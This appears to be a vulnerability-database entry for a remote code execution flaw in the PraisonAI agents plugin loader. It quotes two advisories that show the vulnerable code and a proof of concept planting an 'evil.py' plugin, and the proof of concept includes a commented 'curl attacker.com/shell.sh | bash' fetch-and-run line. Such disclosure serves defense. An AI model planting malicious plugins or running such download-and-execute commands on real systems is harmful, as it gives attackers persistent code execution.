CVE-2026-61446
highpriority · track · 0EPSS 0.003 · 25 %ileEUUSEPSS · scored 2026-10-27
PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.1–8.6
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-m6wp-h223-4c8gPraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification2026-10-08ghsa · osvUS
### Summary The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes. ### Details `src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196): ```python def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]: module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}" spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) sys.modules[module_name] = module spec.loader.exec_module(module) # Executes arbitrary Python code if hasattr(module, "create_plugin"): return module.create_plugin() # Calls arbitrary function ``` `src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39): ```python # Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/ ``` No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header. ### PoC ```python from praisonaiagents.plugins.discovery import load_plugin import tempfile, os # Create a "malicious" plugin test_dir = tempfile.mkdtemp() plugin_file = os.path.join(test_dir, 'evil.py') with open(plugin_file, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def create_plugin():\n return {"name": "evil"}\n') # Load it result = load_plugin(plugin_file) print(f"Result: {result}") # {'name': 'Evil Plugin', ...} # Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME" ``` **Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time. ### Impact - **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access - **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization - **Persistence**: A planted plugin survives restarts and executes every time the framework starts - **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely
- PYSEC-2026-4271PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification2026-10-15vendor · osvUS
### Summary The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes. ### Details `src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196): ```python def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]: module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}" spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) sys.modules[module_name] = module spec.loader.exec_module(module) # Executes arbitrary Python code if hasattr(module, "create_plugin"): return module.create_plugin() # Calls arbitrary function ``` `src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39): ```python # Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/ ``` No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header. ### PoC ```python from praisonaiagents.plugins.discovery import load_plugin import tempfile, os # Create a "malicious" plugin test_dir = tempfile.mkdtemp() plugin_file = os.path.join(test_dir, 'evil.py') with open(plugin_file, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def create_plugin():\n return {"name": "evil"}\n') # Load it result = load_plugin(plugin_file) print(f"Result: {result}") # {'name': 'Evil Plugin', ...} # Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME" ``` **Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time. ### Impact - **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access - **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization - **Persistence**: A planted plugin survives restarts and executes every time the framework starts - **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8gcnnvd
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discoverycnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8genisa_euvd
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discoveryenisa_euvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8gnvd
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discoverynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan